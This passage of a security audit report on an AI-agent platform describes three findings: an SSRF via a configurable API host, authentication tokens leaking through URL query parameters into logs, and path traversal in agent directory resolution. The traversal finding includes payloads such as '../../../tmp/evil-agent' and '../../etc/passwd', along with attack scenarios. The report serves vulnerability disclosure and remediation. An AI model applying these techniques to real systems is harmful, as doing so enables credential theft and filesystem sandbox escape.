decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80a79f73e222a56d8b4d">Source</div><div class="notion-text notion-block-3230f0c5b87c80e2a3b6fac1f261fad9"><b>Step 1: Setup HTTPS-capable listener</b></div><div class="notion-text notion-block-3230f0c5b87c8013a3e8e2b9e360b088"><b>Step 2: Configure malicious apiHost</b></div><div class="notion-text notion-block-3230f0c5b87c804fb0d2d3e28c2f63bf"><b>Step 3: Trigger image analysis</b></div><div class="notion-text notion-block-3230f0c5b87c80f69345d6c069cd08cb"><b>Step 4: Captured data</b></div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c804f9bdec71d2a1839c7" data-id="3230f0c5b87c804f9bdec71d2a1839c7"><span><div id="3230f0c5b87c804f9bdec71d2a1839c7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c804f9bdec71d2a1839c7" title="Environment Variable Injection"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Environment Variable Injection</span></span></h4><div class="notion-text notion-block-3230f0c5b87c802797c2db3dfaefc2fd">The vulnerability can also be exploited through environment variable manipulation:
- <code class="notion-inline-code">MINIMAX_API_HOST</code> environment variable is not validated
- If attacker controls process environment, can inject arbitrary host
- This may be exploitable in containerized deployments with env-based configuration</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80a496d4e8162483693a" data-id="3230f0c5b87c80a496d4e8162483693a"><span><div id="3230f0c5b87c80a496d4e8162483693a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80a496d4e8162483693a" title="Remediation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Remediation</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80e0a8fdebc66efde976">Implement SSRF validation for both <code class="notion-inline-code">apiHost</code> and <code class="notion-inline-code">modelBaseUrl</code> parameters. Validate that the host resolves to the official MiniMax API endpoint or explicitly allowed IP ranges. Reject private IP addresses, cloud metadata services, and implement DNS pinning. Consider removing the <code class="notion-inline-code">modelBaseUrl</code> parameter entirely and only allowing <code class="notion-inline-code">apiHost</code> from a verified allowlist.</div><hr class="notion-hr notion-block-3230f0c5b87c80159ea6e18db20ab255"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-3230f0c5b87c807d9219f1b99a16799f" data-id="3230f0c5b87c807d9219f1b99a16799f"><span><div id="3230f0c5b87c807d9219f1b99a16799f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c807d9219f1b99a16799f" title="GHSA-015: Browser Extension Relay Authentication Token Exposure via URL Query Parameter"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">GHSA-015: Browser Extension Relay Authentication Token Exposure via URL Query Parameter</span></span></h3><blockquote class="notion-quote notion-block-3230f0c5b87c808a9589f14b0e653b20"><div><b>严重级别</b>: Medium  |  <b>类型</b>: 凭证暴露  |  <b>状态</b>: 已验证</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80c6b286f6c93a8ac07a" data-id="3230f0c5b87c80c6b286f6c93a8ac07a"><span><div id="3230f0c5b87c80c6b286f6c93a8ac07a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80c6b286f6c93a8ac07a" title="Summary"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Summary</span></span></h4><div class="notion-text notion-block-3230f0c5b87c800b92fee2d03ee2b1d0">The browser extension relay accepts authentication tokens via URL query parameters, causing credentials to be logged in HTTP server access logs, proxies, browser history, and SIEM systems. This enables passive credential harvesting without requiring active exploitation.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8090b45efebf6c696fe2" data-id="3230f0c5b87c8090b45efebf6c696fe2"><span><div id="3230f0c5b87c8090b45efebf6c696fe2" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8090b45efebf6c696fe2" title="Severity"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Severity</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80f8a21bfba5c4b166b8"><b>Medium</b> - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (6.5)</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8003898de2b6c23a3755" data-id="3230f0c5b87c8003898de2b6c23a3755"><span><div id="3230f0c5b87c8003898de2b6c23a3755" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8003898de2b6c23a3755" title="Affected Component"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Component</span></span></h4><div class="notion-text notion-block-3230f0c5b87c805d9c02dac7ef6c7b27"><b>File</b>: <code class="notion-inline-code">src/browser/extension-relay.ts</code><b>Function</b>: <code class="notion-inline-code">getRelayAuthTokenFromRequest()</code><b>Vulnerable Lines</b>: 102-112, 575, 710, 735</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80c19fd6f8ac4a1cd314" data-id="3230f0c5b87c80c19fd6f8ac4a1cd314"><span><div id="3230f0c5b87c80c19fd6f8ac4a1cd314" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80c19fd6f8ac4a1cd314" title="Vulnerability Details"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Vulnerability Details</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80f59516ece7d3fa0d28">The relay authentication function accepts tokens from both HTTP headers and URL query parameters. When tokens are transmitted via query parameters, they become visible in server logs and monitoring systems.</div><div class="notion-text notion-block-3230f0c5b87c80459ad6cd5f66606652">This function is called at three critical endpoints:
- Line 575: <code class="notion-inline-code">/json</code> HTTP endpoint
- Line 710: <code class="notion-inline-code">/extension</code> WebSocket upgrade
- Line 735: <code class="notion-inline-code">/cdp</code> WebSocket upgrade</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8040a178c125194ff0f4" data-id="3230f0c5b87c8040a178c125194ff0f4"><span><div id="3230f0c5b87c8040a178c125194ff0f4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8040a178c125194ff0f4" title="Attack Scenario"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Attack Scenario</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80d985cccd694d63ef1b">An attacker can passively harvest valid authentication tokens by monitoring log sources:</div><div class="notion-text notion-block-3230f0c5b87c8048a4e3e6aad4a50a7e"><b>Logged URLs containing tokens</b>:</div><div class="notion-text notion-block-3230f0c5b87c8065a3feffeb096a9541">These URLs appear in:
- HTTP server access logs
- Corporate proxy logs (Squid, nginx, Envoy)
- Browser history
- SIEM and security monitoring systems
- DNS query logs (if full URL logged)
- Firewall and load balancer logs</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c807ca418d44b2636a101" data-id="3230f0c5b87c807ca418d44b2636a101"><span><div id="3230f0c5b87c807ca418d44b2636a101" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c807ca418d44b2636a101" title="Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Impact</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8000952fe2a67ff84f68">Attackers can:
1. Collect valid relay authentication tokens passively from log sources
2. Use stolen tokens to access browser extension relay endpoints
3. Intercept CDP commands and responses
4. Control browser automation through compromised tokens
5. Bypass authentication without exploiting the application</div><div class="notion-text notion-block-3230f0c5b87c80cc9808eb3f967e7898">The vulnerability is particularly dangerous in multi-tenant or corporate environments where centralized logging aggregates access data from multiple deployments.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c807ea7c9e0792719d870" data-id="3230f0c5b87c807ea7c9e0792719d870"><span><div id="3230f0c5b87c807ea7c9e0792719d870" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c807ea7c9e0792719d870" title="Proof of Concept"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Proof of Concept</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80b482bacba627f52bed"><b>复现截图 - 脆弱代码分析：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c8012b52fdcf8116430a7"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa015_step1_code.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-8012-b52f-dcf8116430a7" alt="Code" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c8059add0cd26412d9ff7">Code</div><div class="notion-text notion-block-3230f0c5b87c805b8e1cc307de113814"><b>Step 1: Legitimate client sends request with token in URL</b></div><div class="notion-text notion-block-3230f0c5b87c805bbca3c28cbda96fc7"><b>Step 2: Server logs contain</b></div><div class="notion-text notion-block-3230f0c5b87c80c79649d9422b5f54b5"><b>Step 3: Attacker with log access extracts token</b></div><div class="notion-text notion-block-3230f0c5b87c8042ba54d8ddf8905857"><b>Step 4: Attacker uses stolen token</b></div><div class="notion-text notion-block-3230f0c5b87c807cbdabd1c554b8cd44"><b>复现截图 - 令牌暴露演示：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80b5a2a8e0c4fc3a5d88"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa015_step2_demo.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-80b5-a2a8-e0c4fc3a5d88" alt="Demo" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c808cb24bfb786d69587e">Demo</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8070b3efefc6e721c260" data-id="3230f0c5b87c8070b3efefc6e721c260"><span><div id="3230f0c5b87c8070b3efefc6e721c260" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8070b3efefc6e721c260" title="Affected Endpoints"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Endpoints</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8055bde1c55599f3a31e">All three relay endpoints are vulnerable:
1. <b>HTTP endpoint</b>: <code class="notion-inline-code">/json</code> - Line 575
2. <b>WebSocket</b>: <code class="notion-inline-code">/extension</code> - Line 710
3. <b>WebSocket</b>: <code class="notion-inline-code">/cdp</code> - Line 735</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80c7a686f6bdce047611" data-id="3230f0c5b87c80c7a686f6bdce047611"><span><div id="3230f0c5b87c80c7a686f6bdce047611" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80c7a686f6bdce047611" title="Remediation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Remediation</span></span></h4><div class="notion-text notion-block-3230f0c5b87c808bb266d4a9591ae6eb">Remove URL query parameter token acceptance entirely. Only accept authentication tokens via HTTP headers. Implement referrer-policy and origin checks to prevent token leakage. Consider using short-lived tokens with IP binding to reduce exposure if tokens are discovered in logs.</div><hr class="notion-hr notion-block-3230f0c5b87c802482e0d59ae32ccae1"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-3230f0c5b87c80e081c0e6fdfcd64b0f" data-id="3230f0c5b87c80e081c0e6fdfcd64b0f"><span><div id="3230f0c5b87c80e081c0e6fdfcd64b0f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80e081c0e6fdfcd64b0f" title="GHSA-016: Path Traversal in Agent Directory Resolution"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">GHSA-016: Path Traversal in Agent Directory Resolution</span></span></h3><blockquote class="notion-quote notion-block-3230f0c5b87c80509dd3c1a9668eb7de"><div><b>严重级别</b>: Medium  |  <b>类型</b>: 路径遍历  |  <b>状态</b>: 已验证</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c809baf11fd44c06a6608" data-id="3230f0c5b87c809baf11fd44c06a6608"><span><div id="3230f0c5b87c809baf11fd44c06a6608" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c809baf11fd44c06a6608" title="Summary"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Summary</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80f9a684f7ed4577d8fa">The agent directory resolution function accepts user-controlled paths without validating directory traversal sequences, allowing agents to write files to arbitrary filesystem locations through the <code class="notion-inline-code">agentDir</code> configuration parameter.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80ea8953e7462e2b0b42" data-id="3230f0c5b87c80ea8953e7462e2b0b42"><span><div id="3230f0c5b87c80ea8953e7462e2b0b42" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80ea8953e7462e2b0b42" title="Severity"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Severity</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80b8b081e11e18267226"><b>Medium</b> - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N (6.5)</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8006beeef3fc008227a0" data-id="3230f0c5b87c8006beeef3fc008227a0"><span><div id="3230f0c5b87c8006beeef3fc008227a0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8006beeef3fc008227a0" title="Affected Component"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Component</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80f7a285e5c3398fb427"><b>File</b>: <code class="notion-inline-code">src/utils.ts</code><b>Function</b>: <code class="notion-inline-code">resolveUserPath()</code><b>Vulnerable Lines</b>: 285-302</div><div class="notion-text notion-block-3230f0c5b87c80ba87b3f640dd7815aa"><b>Secondary File</b>: <code class="notion-inline-code">src/agents/agent-scope.ts</code><b>Function</b>: <code class="notion-inline-code">resolveAgentDir()</code><b>Vulnerable Lines</b>: 330-338</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80868e23c12cdcc7d613" data-id="3230f0c5b87c80868e23c12cdcc7d613"><span><div id="3230f0c5b87c80868e23c12cdcc7d613" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80868e23c12cdcc7d613" title="Vulnerability Details"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Vulnerability Details</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80ee8538e3703f1a56ff">The <code class="notion-inline-code">resolveUserPath()</code> function resolves user-provided paths using <code class="notion-inline-code">path.resolve()</code> without validating directory traversal sequences or checking boundary containment.</div><div class="notion-text notion-block-3230f0c5b87c804d969bedc5a1156c83">This function is called by <code class="notion-inline-code">resolveAgentDir()</code> when processing the <code class="notion-inline-code">agentDir</code> configuration parameter:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8021a27ee259f8a1584d" data-id="3230f0c5b87c8021a27ee259f8a1584d"><span><div id="3230f0c5b87c8021a27ee259f8a1584d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8021a27ee259f8a1584d" title="Attack Scenario"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Attack Scenario</span></span></h4><div class="notion-text notion-block-3230f0c5b87c808eacede34f3ba5e4ad">An attacker with administrative access can configure an agent directory that escapes the intended sandbox:</div><div class="notion-text notion-block-3230f0c5b87c80aba37cd3b9311f5f8d">When the agent runs:
1. <code class="notion-inline-code">resolveAgentDir()</code> calls <code class="notion-inline-code">resolveUserPath(&quot;../../../tmp/evil-agent&quot;)</code>
2. <code class="notion-inline-code">path.resolve()</code> normalizes to <code class="notion-inline-code">/tmp/evil-agent</code> (absolute path)
3. Agent writes state files, logs, and potentially sensitive data to <code class="notion-inline-code">/tmp/</code>
4. Sandbox boundary completely bypassed</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c809fb424d4c696323a86" data-id="3230f0c5b87c809fb424d4c696323a86"><span><div id="3230f0c5b87c809fb424d4c696323a86" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c809fb424d4c696323a86" title="Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Impact</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80869bc4fdbd18ab8220">Attackers can:
1. Write agent files to arbitrary filesystem locations
2. Overwrite sensitive system files (e.g., <code class="notion-inline-code">/etc/passwd</code>, SSH keys)
3. Create files in world-writable directories (<code class="notion-inline-code">/tmp/</code>, <code class="notion-inline-code">/var/tmp/</code>)
4. Bypass filesystem sandboxing restrictions
5. Perform directory traversal attacks on both Linux and Windows</div><div class="notion-text notion-block-3230f0c5b87c800d9766c6b409a672f7"><b>Platform-specific behavior</b>:
- <b>Linux</b>: <code class="notion-inline-code">../../etc/passwd</code> → <code class="notion-inline-code">/etc/passwd</code>
